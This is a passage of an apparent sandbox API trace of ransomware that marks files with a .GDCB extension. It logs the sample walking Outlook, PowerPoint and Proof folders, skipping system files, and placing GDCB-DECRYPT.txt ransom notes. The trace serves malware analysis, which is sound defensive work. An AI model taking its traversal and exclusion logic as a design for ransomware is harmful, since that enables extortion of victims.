(lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.611] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt" [0135.611] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0135.611] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.611] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.611] lstrcmpW (lpString1="Outlook.srs.GDCB", lpString2=".") returned 1 [0135.611] lstrcmpW (lpString1="Outlook.srs.GDCB", lpString2="..") returned 1 [0135.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB" [0135.611] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned 72 [0135.611] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.611] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.611] lstrcmpW (lpString1="Outlook.xml.GDCB", lpString2=".") returned 1 [0135.611] lstrcmpW (lpString1="Outlook.xml.GDCB", lpString2="..") returned 1 [0135.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB" [0135.611] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned 72 [0135.611] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.611] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.611] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.611] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.611] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt") returned 73 [0135.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.613] GetLastError () returned 0x50 [0135.613] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.613] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned 56 [0135.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0135.613] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7980 [0135.614] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.614] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.614] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.614] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.614] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.614] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.614] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt" [0135.614] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.614] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0135.614] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0135.614] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0135.614] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.614] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.614] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.615] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.615] lstrcmpW (lpString1="Outlook.srs.GDCB", lpString2=".") returned 1 [0135.615] lstrcmpW (lpString1="Outlook.srs.GDCB", lpString2="..") returned 1 [0135.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB" [0135.615] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.615] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned 72 [0135.615] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned 72 [0135.615] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.615] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.615] lstrcmpW (lpString1="Outlook.xml.GDCB", lpString2=".") returned 1 [0135.615] lstrcmpW (lpString1="Outlook.xml.GDCB", lpString2="..") returned 1 [0135.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB" [0135.615] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.615] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned 72 [0135.615] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned 72 [0135.615] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.615] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.615] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.616] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.616] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0135.616] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0135.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0135.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\" [0135.616] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.616] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.616] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned 59 [0135.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0135.616] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.617] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.617] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.617] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.617] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.617] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.617] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.617] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt" [0135.617] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0135.617] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.617] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.617] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.617] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.617] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\GDCB-DECRYPT.txt") returned 76 [0135.617] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\powerpoint\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.617] GetLastError () returned 0x50 [0135.617] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned 59 [0135.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0135.618] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c77c0 [0135.618] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.618] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.618] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.618] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.618] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.618] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.618] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt" [0135.618] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.618] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0135.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0135.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0135.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.618] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.618] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.618] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.619] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.619] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0135.619] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0135.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0135.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\" [0135.619] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.619] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.619] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned 54 [0135.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*" [0135.619] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.619] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.619] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.620] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.620] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.620] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.620] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.620] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.620] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt" [0135.620] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0135.620] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.620] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.620] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.620] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.620] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\GDCB-DECRYPT.txt") returned 71 [0135.620] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\proof\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.621] GetLastError () returned 0x50 [0135.621] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned 54 [0135.622] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*" [0135.622] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.622] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.622] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.622] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.622] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.622] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.622] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.622] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.622] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt" [0135.622] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.622] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0135.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0135.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0135.622] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.622] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.622] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.622] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.622] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.623] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.623] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") 